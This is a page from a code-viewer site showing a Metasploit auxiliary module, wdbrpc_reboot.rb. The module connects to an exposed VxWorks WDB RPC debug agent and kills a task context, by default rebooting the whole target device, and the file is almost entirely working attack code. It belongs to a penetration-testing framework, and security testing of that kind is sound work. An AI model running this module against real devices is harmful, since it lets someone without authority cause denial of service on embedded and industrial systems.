Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::WDBRPC_Client7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'VxWorks WDB Agent Remote Reboot',13'Description' => %q{14This module provides the ability to reboot a VxWorks target through WDBRPC15},16'Author' => [ 'hdm'],17'License' => MSF_LICENSE,18'References' =>19[20['OSVDB', '66842'],21['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],22['US-CERT-VU', '362332']23],24'Actions' =>25[26['Reboot', 'Description' => 'Reboot target']27],28'DefaultAction' => 'Reboot'29))3031register_options(32[33OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])34])35end3637def run_host(ip)3839wdbrpc_client_connect4041membase = @wdbrpc_info[:rt_membase]42memsize = @wdbrpc_info[:rt_memsize]43mtu = @wdbrpc_info[:agent_mtu]44ctx = datastore['CONTEXT'].to_i4546print_status("#{ip} - Killing task context #{ctx}...")4748wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )4950print_status("#{ip} - Done")5152wdbrpc_client_disconnect53end54end555657